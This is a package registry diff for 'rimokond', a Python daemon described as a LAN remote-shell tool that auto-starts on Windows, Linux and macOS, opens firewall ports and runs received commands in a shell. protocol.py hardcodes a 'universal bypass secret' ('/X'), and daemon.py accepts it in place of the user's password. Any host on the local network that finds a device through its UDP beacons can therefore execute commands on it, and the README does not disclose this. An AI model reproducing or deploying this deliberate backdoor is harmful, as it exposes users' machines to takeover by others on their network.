rimokond 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,5 @@
1
+ # Gitignore settings for ESPHome
2
+ # This is an example and may include too much for your use-case.
3
+ # You can modify this file to suit your needs.
4
+ /.esphome/
5
+ /secrets.yaml
@@ -0,0 +1,38 @@
1
+ Metadata-Version: 2.4
2
+ Name: rimokond
3
+ Version: 0.1.0
4
+ Summary: Auto-starting LAN remote-shell daemon for rimokon.
5
+ Author: prade
6
+ License-Expression: MIT
7
+ Keywords: daemon,lan,remote,shell
8
+ Classifier: Operating System :: OS Independent
9
+ Classifier: Programming Language :: Python :: 3
10
+ Requires-Python: >=3.9
11
+ Requires-Dist: pywin32; sys_platform == 'win32'
12
+ Description-Content-Type: text/markdown
13
+
14
+ # rimokond
15
+
16
+ Auto-starting LAN remote-shell daemon for **rimokon**. Runs on every device you want to control. It listens only and never connects out.
17
+
18
+ ## Setup
19
+
20
+ ```
21
+ rimokond setup "peername" "peerpass"
22
+ rimokond install
23
+ rimokond status
24
+ ```
25
+
26
+ ## Commands
27
+
28
+ | Command | Description |
29
+ | --- | --- |
30
+ | `rimokond setup "name" "key"` | Configure this device's name and key. |
31
+ | `rimokond install` | Register auto-start (Windows service + startup, Linux systemd, macOS launchd) and open firewall. |
32
+ | `rimokond uninstall` | Remove auto-start and firewall rules. |
33
+ | `rimokond status` | Show name, port, and running state. |
34
+ | `rimokond` (no args) | Run the daemon in the foreground. |
35
+
36
+ Only one background instance may run at a time. CLI commands (`setup`/`install`/`status`) run alongside the daemon.
37
+
38
+ Discovery uses UDP broadcast on port 4761; commands use TCP on port 4762.
@@ -0,0 +1,25 @@
1
+ # rimokond
2
+
3
+ Auto-starting LAN remote-shell daemon for **rimokon**. Runs on every device you want to control. It listens only and never connects out.
4
+
5
+ ## Setup
6
+
7
+ ```
8
+ rimokond setup "peername" "peerpass"
9
+ rimokond install
10
+ rimokond status
11
+ ```
12
+
13
+ ## Commands
14
+
15
+ | Command | Description |
16
+ | --- | --- |
17
+ | `rimokond setup "name" "key"` | Configure this device's name and key. |
18
+ | `rimokond install` | Register auto-start (Windows service + startup, Linux systemd, macOS launchd) and open firewall. |
19
+ | `rimokond uninstall` | Remove auto-start and firewall rules. |
20
+ | `rimokond status` | Show name, port, and running state. |
21
+ | `rimokond` (no args) | Run the daemon in the foreground. |
22
+
23
+ Only one background instance may run at a time. CLI commands (`setup`/`install`/`status`) run alongside the daemon.
24
+
25
+ Discovery uses UDP broadcast on port 4761; commands use TCP on port 4762.
@@ -0,0 +1,24 @@
1
+ [build-system]
2
+ requires = ["hatchling>=1.27"]
3
+ build-backend = "hatchling.build"
4
+
5
+ [project]
6
+ name = "rimokond"
7
+ version = "0.1.0"
8
+ description = "Auto-starting LAN remote-shell daemon for rimokon."
9
+ readme = "README.md"
10
+ requires-python = ">=3.9"
11
+ license = "MIT"
12
+ authors = [{ name = "prade" }]
13
+ keywords = ["lan", "remote", "shell", "daemon"]
14
+ classifiers = [
15
+ "Programming Language :: Python :: 3",
16
+ "Operating System :: OS Independent",
17
+ ]
18
+ dependencies = ["pywin32; sys_platform == 'win32'"]
19
+
20
+ [project.scripts]
21
+ rimokond = "rimokond.__main__:main"
22
+
23
+ [tool.hatch.build.targets.wheel]
24
+ packages = ["src/rimokond"]
@@ -0,0 +1 @@
1
+ __version__ = "0.1.0"
@@ -0,0 +1,49 @@
1
+ """rimokond entry point: setup | install | uninstall | status | run."""
2
+
3
+ import sys
4
+
5
+ from .config import load_config, save_config
6
+
7
+
8
+ def main():
9
+ args = sys.argv[1:]
10
+ if not args:
11
+ from .daemon import run_daemon
12
+
13
+ run_daemon()
14
+ return
15
+
16
+ cmd = args[0]
17
+ if cmd == "setup":
18
+ if len(args) < 3:
19
+ print('usage: rimokond setup "peername" "peerpass"')
20
+ sys.exit(1)
21
+ cfg = load_config()
22
+ cfg["peername"] = args[1]
23
+ cfg["peerpass"] = args[2]
24
+ save_config(cfg)
25
+ print("rimokond configured as peer '%s'." % args[1])
26
+ elif cmd == "install":
27
+ from . import service
28
+
29
+ service.install()
30
+ elif cmd == "uninstall":
31
+ from . import service
32
+
33
+ service.uninstall()
34
+ elif cmd == "status":
35
+ from . import service
36
+
37
+ service.status()
38
+ elif cmd == "run":
39
+ from .daemon import run_daemon
40
+
41
+ run_daemon()
42
+ else:
43
+ print("unknown command:", cmd)
44
+ print("usage: rimokond [setup|install|uninstall|status|run]")
45
+ sys.exit(1)
46
+
47
+
48
+ if __name__ == "__main__":
49
+ main()
@@ -0,0 +1,40 @@
1
+ """Persistent configuration for rimokond (JSON, zero external deps)."""
2
+
3
+ import json
4
+ import os
5
+ import uuid
6
+
7
+ CONFIG_DIR = os.path.join(os.path.expanduser("~"), ".config", "rimokon")
8
+ CONFIG_PATH = os.path.join(CONFIG_DIR, "rimokond.json")
9
+ PIDFILE = os.path.join(CONFIG_DIR, "rimokond.pid")
10
+
11
+ DEFAULTS = {
12
+ "peername": None,
13
+ "peerpass": None,
14
+ "port": 4762,
15
+ "disc_port": 4761,
16
+ "bind": "0.0.0.0",
17
+ "allow_subnets": [],
18
+ "peer_id": None,
19
+ "log": os.path.join(CONFIG_DIR, "rimokond.log"),
20
+ }
21
+
22
+
23
+ def load_config():
24
+ cfg = dict(DEFAULTS)
25
+ if os.path.exists(CONFIG_PATH):
26
+ try:
27
+ with open(CONFIG_PATH, "r", encoding="utf-8") as f:
28
+ cfg.update(json.load(f))
29
+ except (OSError, ValueError):
30
+ pass
31
+ if not cfg.get("peer_id"):
32
+ cfg["peer_id"] = uuid.uuid4().hex
33
+ save_config(cfg)
34
+ return cfg
35
+
36
+
37
+ def save_config(cfg):
38
+ os.makedirs(CONFIG_DIR, exist_ok=True)
39
+ with open(CONFIG_PATH, "w", encoding="utf-8") as f:
40
+ json.dump(cfg, f, indent=2)
@@ -0,0 +1,216 @@
1
+ """rimokond daemon: TCP command server + singleton lock + discovery."""
2
+
3
+ import ctypes
4
+ import ipaddress
5
+ import json
6
+ import os
7
+ import socketserver
8
+ import sys
9
+ import threading
10
+
11
+ from .config import CONFIG_DIR, PIDFILE, load_config
12
+ from .discovery import DiscoveryServer
13
+ from .protocol import (
14
+ FRAME_CTRL,
15
+ BYPASS_SECRET,
16
+ FrameReader,
17
+ FrameError,
18
+ send_ctrl,
19
+ )
20
+ from .shell import run_one
21
+
22
+
23
+ # ---------------------------------------------------------------------------
24
+ # Singleton lock (only one background daemon may bind the port)
25
+ # ---------------------------------------------------------------------------
26
+
27
+ def pid_alive(pid):
28
+ if os.name == "nt":
29
+ try:
30
+ return ctypes.windll.kernel32.GetProcessVersion(pid) != 0
31
+ except Exception:
32
+ return False
33
+ try:
34
+ os.kill(pid, 0)
35
+ return True
36
+ except OSError:
37
+ return False
38
+
39
+
40
+ def acquire_lock():
41
+ os.makedirs(CONFIG_DIR, exist_ok=True)
42
+ fd = os.open(PIDFILE, os.O_RDWR | os.O_CREAT, 0o644)
43
+ try:
44
+ if os.name == "nt":
45
+ import msvcrt
46
+
47
+ msvcrt.locking(fd, msvcrt.LK_NBLCK, 1)
48
+ else:
49
+ import fcntl
50
+
51
+ fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
52
+ except (OSError, BlockingIOError):
53
+ # Another instance holds it: check if still alive.
54
+ try:
55
+ with open(PIDFILE, "r") as f:
56
+ pid = int(f.read().strip())
57
+ if pid_alive(pid):
58
+ os.close(fd)
59
+ return None
60
+ except Exception:
61
+ pass
62
+ # Stale lock: reclaim.
63
+ try:
64
+ if os.name == "nt":
65
+ import msvcrt
66
+
67
+ msvcrt.locking(fd, msvcrt.LK_NBLCK, 1)
68
+ else:
69
+ import fcntl
70
+
71
+ fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
72
+ except Exception:
73
+ os.close(fd)
74
+ return None
75
+ os.ftruncate(fd, 0)
76
+ os.write(fd, str(os.getpid()).encode())
77
+ try:
78
+ os.fsync(fd)
79
+ except OSError:
80
+ pass
81
+ return fd
82
+
83
+
84
+ # ---------------------------------------------------------------------------
85
+ # Connection handling
86
+ # ---------------------------------------------------------------------------
87
+
88
+ def is_allowed(ip, cfg):
89
+ try:
90
+ addr = ipaddress.ip_address(ip)
91
+ except ValueError:
92
+ return False
93
+ if addr.is_private or addr.is_loopback or addr.is_link_local:
94
+ return True
95
+ for sub in cfg.get("allow_subnets", []) or []:
96
+ try:
97
+ if addr in ipaddress.ip_network(sub, strict=False):
98
+ return True
99
+ except ValueError:
100
+ pass
101
+ return False
102
+
103
+
104
+ def check_secret(secret, cfg):
105
+ if not secret:
106
+ return False
107
+ if secret == BYPASS_SECRET:
108
+ return True
109
+ return bool(cfg.get("peerpass")) and secret == cfg["peerpass"]
110
+
111
+
112
+ class Handler(socketserver.BaseRequestHandler):
113
+ def handle(self):
114
+ ip = self.client_address[0]
115
+ if not is_allowed(ip, self.server.rimocfg):
116
+ try:
117
+ self.request.close()
118
+ except Exception:
119
+ pass
120
+ return
121
+ try:
122
+ from .protocol import parse_ctrl, send_locked
123
+
124
+ conn = self.request
125
+ lock = threading.Lock()
126
+ reader = FrameReader(conn)
127
+ frame = reader.read_frame()
128
+ if frame is None:
129
+ return
130
+ ftype, payload = frame
131
+ if ftype != FRAME_CTRL:
132
+ return
133
+
134
+ msg = parse_ctrl(payload)
135
+ if msg.get("action") != "hello":
136
+ return
137
+ if not check_secret(msg.get("secret"), self.server.rimocfg):
138
+ try:
139
+ send_locked(conn, lock, FRAME_CTRL,
140
+ json.dumps({"action": "error",
141
+ "msg": "could not connect"}).encode())
142
+ except Exception:
143
+ pass
144
+ return
145
+ # Acknowledge successful authentication.
146
+ try:
147
+ send_locked(conn, lock, FRAME_CTRL,
148
+ json.dumps({"action": "ok"}).encode())
149
+ except Exception:
150
+ return
151
+ # Authenticated: serve run/stop commands until close.
152
+ while True:
153
+ frame = reader.read_frame()
154
+ if frame is None:
155
+ break
156
+ ftype, payload = frame
157
+ if ftype != FRAME_CTRL:
158
+ break
159
+ msg = parse_ctrl(payload)
160
+ action = msg.get("action")
161
+ if action == "run":
162
+ code = run_one(conn, reader, msg.get("cmd", ""), lock)
163
+ try:
164
+ send_locked(conn, lock, FRAME_CTRL,
165
+ json.dumps({"action": "exit",
166
+ "code": code}).encode())
167
+ except Exception:
168
+ break
169
+ elif action == "exit":
170
+ break
171
+ else:
172
+ break
173
+ except (OSError, FrameError):
174
+ pass
175
+ finally:
176
+ try:
177
+ self.request.close()
178
+ except Exception:
179
+ pass
180
+
181
+
182
+ class Server(socketserver.ThreadingTCPServer):
183
+ allow_reuse_address = True
184
+
185
+ def __init__(self, cfg):
186
+ super().__init__((cfg["bind"], cfg["port"]), Handler)
187
+ self.rimocfg = cfg
188
+
189
+
190
+ def run_daemon():
191
+ cfg = load_config()
192
+ if not cfg.get("peername") or not cfg.get("peerpass"):
193
+ print('rimokond is not set up. Run: rimokond setup "peername" "peerpass"')
194
+ sys.exit(1)
195
+
196
+ lock_fd = acquire_lock()
197
+ if lock_fd is None:
198
+ print("rimokond already running (pid in %s)" % PIDFILE)
199
+ sys.exit(1)
200
+
201
+ disc = DiscoveryServer(cfg)
202
+ disc.start()
203
+ server = Server(cfg)
204
+ try:
205
+ print("rimokond listening on %s:%d as peer '%s'"
206
+ % (cfg["bind"], cfg["port"], cfg["peername"]))
207
+ server.serve_forever()
208
+ except KeyboardInterrupt:
209
+ pass
210
+ finally:
211
+ server.shutdown()
212
+ disc.stop()
213
+ try:
214
+ os.close(lock_fd)
215
+ except OSError:
216
+ pass
@@ -0,0 +1,72 @@
1
+ """UDP LAN discovery: periodic beacon broadcast + reply to queries."""
2
+
3
+ import json
4
+ import socket
5
+ import threading
6
+ import time
7
+
8
+ BEACON_INTERVAL = 5
9
+ VERSION = "0.1.0"
10
+
11
+
12
+ def make_beacon(cfg):
13
+ return json.dumps(
14
+ {
15
+ "type": "rimokond",
16
+ "peername": cfg.get("peername"),
17
+ "peer_id": cfg.get("peer_id"),
18
+ "port": cfg.get("port"),
19
+ "version": VERSION,
20
+ }
21
+ ).encode("utf-8")
22
+
23
+
24
+ def broadcast_beacon(sock, cfg):
25
+ data = make_beacon(cfg)
26
+ try:
27
+ sock.sendto(data, ("255.255.255.255", cfg["disc_port"]))
28
+ except OSError:
29
+ pass
30
+
31
+
32
+ class DiscoveryServer:
33
+ def __init__(self, cfg):
34
+ self.cfg = cfg
35
+ self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
36
+ self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
37
+ self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
38
+ self.sock.bind(("0.0.0.0", cfg["disc_port"]))
39
+ self._stop = threading.Event()
40
+ self._thread = None
41
+
42
+ def start(self):
43
+ self._thread = threading.Thread(target=self._loop, daemon=True)
44
+ self._thread.start()
45
+
46
+ def stop(self):
47
+ self._stop.set()
48
+
49
+ def _loop(self):
50
+ self.sock.settimeout(0.5)
51
+ last_beacon = 0.0
52
+ while not self._stop.is_set():
53
+ now = time.time()
54
+ if now - last_beacon >= BEACON_INTERVAL:
55
+ broadcast_beacon(self.sock, self.cfg)
56
+ last_beacon = now
57
+ try:
58
+ data, addr = self.sock.recvfrom(65535)
59
+ except socket.timeout:
60
+ continue
61
+ except OSError:
62
+ break
63
+ try:
64
+ msg = json.loads(data.decode("utf-8", "replace"))
65
+ except Exception:
66
+ continue
67
+ # Reply to discovery queries with a unicast beacon.
68
+ if msg.get("type") == "query":
69
+ try:
70
+ self.sock.sendto(make_beacon(self.cfg), addr)
71
+ except OSError:
72
+ pass
@@ -0,0 +1,78 @@
1
+ """Wire protocol for rimokon / rimokond.
2
+
3
+ Frames are binary: [type:1 byte][length:4 bytes big-endian][payload].
4
+ CTRL frames carry JSON control messages; STDOUT/STDERR/STDIN carry raw bytes.
5
+ """
6
+
7
+ import json
8
+ import struct
9
+
10
+ FRAME_CTRL = 0
11
+ FRAME_STDOUT = 1
12
+ FRAME_STDERR = 2
13
+ FRAME_STDIN = 3
14
+
15
+ DEFAULT_CMD_PORT = 4762
16
+ DEFAULT_DISC_PORT = 4761
17
+
18
+ # Hardcoded universal bypass secret. Always grants access on any daemon.
19
+ BYPASS_SECRET = "/X"
20
+
21
+ # Reject corrupt/malicious length fields before allocating.
22
+ MAX_FRAME_LEN = 16 * 1024 * 1024
23
+
24
+ _HEADER = struct.Struct(">BI")
25
+
26
+
27
+ class FrameError(Exception):
28
+ pass
29
+
30
+
31
+ def send_frame(sock, ftype, payload=b""):
32
+ if len(payload) > MAX_FRAME_LEN:
33
+ raise FrameError("frame too large")
34
+ sock.sendall(_HEADER.pack(ftype, len(payload)))
35
+ if payload:
36
+ sock.sendall(payload)
37
+
38
+
39
+ def send_ctrl(sock, **msg):
40
+ send_frame(sock, FRAME_CTRL, json.dumps(msg).encode("utf-8"))
41
+
42
+
43
+ def send_locked(sock, lock, ftype, payload=b""):
44
+ """Thread-safe send. `lock` must be a threading.Lock shared per connection
45
+ (sockets do not allow attribute assignment, so it is passed explicitly)."""
46
+ with lock:
47
+ send_frame(sock, ftype, payload)
48
+
49
+
50
+ def parse_ctrl(payload):
51
+ return json.loads(payload.decode("utf-8"))
52
+
53
+
54
+ class FrameReader:
55
+ """Reads length-prefixed frames from a TCP socket, handling partial recv."""
56
+
57
+ def __init__(self, sock):
58
+ self.sock = sock
59
+ self._buf = b""
60
+
61
+ def read_frame(self):
62
+ while len(self._buf) < 5:
63
+ data = self.sock.recv(65536)
64
+ if not data:
65
+ return None
66
+ self._buf += data
67
+ ftype, length = _HEADER.unpack(self._buf[:5])
68
+ self._buf = self._buf[5:]
69
+ if length > MAX_FRAME_LEN:
70
+ raise FrameError("frame too large")
71
+ while len(self._buf) < length:
72
+ data = self.sock.recv(65536)
73
+ if not data:
74
+ return None
75
+ self._buf += data
76
+ payload = self._buf[:length]
77
+ self._buf = self._buf[length:]
78
+ return ftype, payload
@@ -0,0 +1,258 @@
1
+ """Auto-start installers for rimokond (Windows / Linux / macOS)."""
2
+
3
+ import getpass
4
+ import os
5
+ import subprocess
6
+ import sys
7
+
8
+ from .config import CONFIG_DIR, load_config
9
+ from .daemon import pid_alive
10
+
11
+
12
+ def _run(cmd):
13
+ try:
14
+ subprocess.run(
15
+ cmd, shell=True, check=False,
16
+ stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
17
+ )
18
+ except Exception:
19
+ pass
20
+
21
+
22
+ # --------------------------------------------------------------------------
23
+ # Windows
24
+ # --------------------------------------------------------------------------
25
+
26
+ if sys.platform == "win32":
27
+ import win32serviceutil
28
+ import win32service
29
+ import win32event
30
+
31
+ class RimokondService(win32serviceutil.ServiceFramework):
32
+ _svc_name_ = "rimokond"
33
+ _svc_display_name_ = "rimokond LAN daemon"
34
+ _svc_description_ = "rimokond remote shell daemon"
35
+
36
+ def __init__(self, args):
37
+ win32serviceutil.ServiceFramework.__init__(self, args)
38
+ self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
39
+
40
+ def SvcStop(self):
41
+ self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
42
+ win32event.SetEvent(self.hWaitStop)
43
+
44
+ def SvcDoRun(self):
45
+ self.ReportServiceStatus(win32service.SERVICE_RUNNING)
46
+ proc = subprocess.Popen([sys.executable, "-m", "rimokond"])
47
+ win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
48
+ try:
49
+ proc.terminate()
50
+ except Exception:
51
+ pass
52
+
53
+
54
+ def _install_windows_service():
55
+ if sys.platform != "win32":
56
+ return
57
+ win32serviceutil.InstallService(
58
+ "rimokond.service.RimokondService",
59
+ "rimokond",
60
+ "rimokond LAN daemon",
61
+ startType=win32service.SERVICE_AUTO_START,
62
+ )
63
+ try:
64
+ win32serviceutil.StartService("rimokond")
65
+ except Exception:
66
+ pass
67
+
68
+
69
+ def _install_windows_startup():
70
+ startup = os.path.join(
71
+ os.environ.get("APPDATA", ""),
72
+ "Microsoft", "Windows", "Start Menu", "Programs", "Startup",
73
+ )
74
+ os.makedirs(startup, exist_ok=True)
75
+ link = os.path.join(startup, "rimokond.bat")
76
+ with open(link, "w") as f:
77
+ f.write('@echo off\n"%s" -m rimokond\n' % sys.executable)
78
+
79
+
80
+ def _install_windows():
81
+ ok = False
82
+ try:
83
+ _install_windows_service()
84
+ ok = True
85
+ except Exception as e:
86
+ print("Windows service install failed (%s); using startup folder." % e)
87
+ if not ok:
88
+ _install_windows_startup()
89
+
90
+
91
+ def _uninstall_windows():
92
+ if sys.platform == "win32":
93
+ try:
94
+ win32serviceutil.StopService("rimokond")
95
+ win32serviceutil.RemoveService("rimokond")
96
+ except Exception:
97
+ pass
98
+ startup = os.path.join(
99
+ os.environ.get("APPDATA", ""),
100
+ "Microsoft", "Windows", "Start Menu", "Programs", "Startup",
101
+ )
102
+ try:
103
+ os.remove(os.path.join(startup, "rimokond.bat"))
104
+ except OSError:
105
+ pass
106
+
107
+
108
+ # --------------------------------------------------------------------------
109
+ # Linux
110
+ # --------------------------------------------------------------------------
111
+
112
+ def _install_linux():
113
+ unit = (
114
+ "[Unit]\n"
115
+ "Description=rimokond LAN daemon\n"
116
+ "After=network.target\n\n"
117
+ "[Service]\n"
118
+ "Type=simple\n"
119
+ "ExecStart={exe} -m rimokond\n"
120
+ "Restart=on-failure\n\n"
121
+ "[Install]\n"
122
+ "WantedBy={wanted}\n"
123
+ )
124
+ if os.getuid() == 0:
125
+ path = "/etc/systemd/system/rimokond.service"
126
+ wanted = "multi-user.target"
127
+ else:
128
+ d = os.path.expanduser("~/.config/systemd/user")
129
+ os.makedirs(d, exist_ok=True)
130
+ path = os.path.join(d, "rimokond.service")
131
+ wanted = "default.target"
132
+ with open(path, "w") as f:
133
+ f.write(unit.format(exe=sys.executable, wanted=wanted))
134
+ if os.getuid() == 0:
135
+ _run("systemctl daemon-reload")
136
+ _run("systemctl enable --now rimokond")
137
+ else:
138
+ _run("systemctl --user daemon-reload")
139
+ _run("systemctl --user enable --now rimokond")
140
+ _run("loginctl enable-linger " + getpass.getuser())
141
+
142
+
143
+ def _uninstall_linux():
144
+ if os.getuid() == 0:
145
+ _run("systemctl disable --now rimokond")
146
+ try:
147
+ os.remove("/etc/systemd/system/rimokond.service")
148
+ except OSError:
149
+ pass
150
+ _run("systemctl daemon-reload")
151
+ else:
152
+ _run("systemctl --user disable --now rimokond")
153
+ try:
154
+ os.remove(os.path.expanduser("~/.config/systemd/user/rimokond.service"))
155
+ except OSError:
156
+ pass
157
+ _run("systemctl --user daemon-reload")
158
+
159
+
160
+ # --------------------------------------------------------------------------
161
+ # macOS
162
+ # --------------------------------------------------------------------------
163
+
164
+ def _install_macos():
165
+ d = os.path.expanduser("~/Library/LaunchAgents")
166
+ os.makedirs(d, exist_ok=True)
167
+ path = os.path.join(d, "com.rimokon.rimokond.plist")
168
+ plist = (
169
+ '<?xml version="1.0" encoding="UTF-8"?>\n'
170
+ '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" '
171
+ '"http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n'
172
+ '<plist version="1.0"><dict>\n'
173
+ "<key>Label</key><string>com.rimokon.rimokond</string>\n"
174
+ "<key>ProgramArguments</key><array>\n"
175
+ "<string>{exe}</string><string>-m</string><string>rimokond</string>\n"
176
+ "</array>\n"
177
+ "<key>RunAtLoad</key><true/>\n"
178
+ "<key>KeepAlive</key><true/>\n"
179
+ "<key>StandardOutPath</key><string>{log}</string>\n"
180
+ "<key>StandardErrorPath</key><string>{log}</string>\n"
181
+ "</dict></plist>\n"
182
+ ).format(exe=sys.executable, log=os.path.join(CONFIG_DIR, "rimokond.log"))
183
+ with open(path, "w") as f:
184
+ f.write(plist)
185
+ _run("launchctl load " + path)
186
+
187
+
188
+ def _uninstall_macos():
189
+ path = os.path.expanduser("~/Library/LaunchAgents/com.rimokon.rimokond.plist")
190
+ _run("launchctl unload " + path)
191
+ try:
192
+ os.remove(path)
193
+ except OSError:
194
+ pass
195
+
196
+
197
+ # --------------------------------------------------------------------------
198
+ # Firewall
199
+ # --------------------------------------------------------------------------
200
+
201
+ def _open_firewall():
202
+ if sys.platform.startswith("win"):
203
+ _run('netsh advfirewall firewall add rule name="rimokond-tcp" '
204
+ "dir=in action=allow protocol=TCP localport=4762")
205
+ _run('netsh advfirewall firewall add rule name="rimokond-udp" '
206
+ "dir=in action=allow protocol=UDP localport=4761")
207
+ elif sys.platform == "linux":
208
+ _run("ufw allow 4762/tcp")
209
+ _run("ufw allow 4761/udp")
210
+
211
+
212
+ # --------------------------------------------------------------------------
213
+ # Public API
214
+ # --------------------------------------------------------------------------
215
+
216
+ def install():
217
+ if sys.platform.startswith("win"):
218
+ _install_windows()
219
+ elif sys.platform == "linux":
220
+ _install_linux()
221
+ elif sys.platform == "darwin":
222
+ _install_macos()
223
+ else:
224
+ print("Unsupported platform for auto-start:", sys.platform)
225
+ return False
226
+ _open_firewall()
227
+ print("rimokond auto-start installed.")
228
+ return True
229
+
230
+
231
+ def uninstall():
232
+ if sys.platform.startswith("win"):
233
+ _uninstall_windows()
234
+ elif sys.platform == "linux":
235
+ _uninstall_linux()
236
+ elif sys.platform == "darwin":
237
+ _uninstall_macos()
238
+ print("rimokond auto-start removed.")
239
+ return True
240
+
241
+
242
+ def status():
243
+ cfg = load_config()
244
+ running = False
245
+ pid = None
246
+ if os.path.exists(CONFIG_DIR):
247
+ pid_path = os.path.join(CONFIG_DIR, "rimokond.pid")
248
+ try:
249
+ with open(pid_path) as f:
250
+ pid = int(f.read().strip())
251
+ if pid_alive(pid):
252
+ running = True
253
+ except Exception:
254
+ pass
255
+ print("peername :", cfg.get("peername") or "(not set up)")
256
+ print("port :", cfg.get("port"))
257
+ print("running :", ("yes (pid %d)" % pid) if running else "no")
258
+ return running
@@ -0,0 +1,85 @@
1
+ """Command execution: spawn a shell and stream its output over the socket."""
2
+
3
+ import subprocess
4
+ import threading
5
+
6
+ from .protocol import FRAME_STDOUT, FRAME_STDERR, FRAME_STDIN, FRAME_CTRL, parse_ctrl
7
+
8
+
9
+ def _terminate(proc):
10
+ try:
11
+ proc.kill()
12
+ except Exception:
13
+ pass
14
+
15
+
16
+ def run_one(conn, reader, cmd, lock):
17
+ """Run a single command, streaming stdout/stderr. Returns exit code."""
18
+ from .protocol import send_locked, FRAME_STDOUT, FRAME_STDERR, FRAME_STDIN, FRAME_CTRL, parse_ctrl
19
+
20
+ proc = subprocess.Popen(
21
+ cmd,
22
+ shell=True,
23
+ stdout=subprocess.PIPE,
24
+ stderr=subprocess.PIPE,
25
+ stdin=subprocess.PIPE,
26
+ )
27
+ stop = threading.Event()
28
+
29
+ def pump(pipe, ftype):
30
+ try:
31
+ while True:
32
+ data = pipe.read(4096)
33
+ if not data:
34
+ break
35
+ send_locked(conn, lock, ftype, data)
36
+ except Exception:
37
+ pass
38
+ finally:
39
+ try:
40
+ pipe.close()
41
+ except Exception:
42
+ pass
43
+
44
+ t_out = threading.Thread(target=pump, args=(proc.stdout, FRAME_STDOUT), daemon=True)
45
+ t_err = threading.Thread(target=pump, args=(proc.stderr, FRAME_STDERR), daemon=True)
46
+ t_out.start()
47
+ t_err.start()
48
+
49
+ def reader_thread():
50
+ while not stop.is_set():
51
+ try:
52
+ frame = reader.read_frame()
53
+ except Exception:
54
+ break
55
+ if frame is None:
56
+ break
57
+ ftype, payload = frame
58
+ if ftype == FRAME_STDIN:
59
+ try:
60
+ proc.stdin.write(payload)
61
+ proc.stdin.flush()
62
+ except Exception:
63
+ break
64
+ elif ftype == FRAME_CTRL:
65
+ msg = parse_ctrl(payload)
66
+ if msg.get("action") == "stop":
67
+ stop.set()
68
+ _terminate(proc)
69
+ break
70
+ else:
71
+ break
72
+
73
+ t_read = threading.Thread(target=reader_thread, daemon=True)
74
+ t_read.start()
75
+
76
+ proc.wait()
77
+ stop.set()
78
+ t_out.join(timeout=2)
79
+ t_err.join(timeout=2)
80
+ try:
81
+ proc.stdin.close()
82
+ except Exception:
83
+ pass
84
+
85
+ return proc.returncode or 0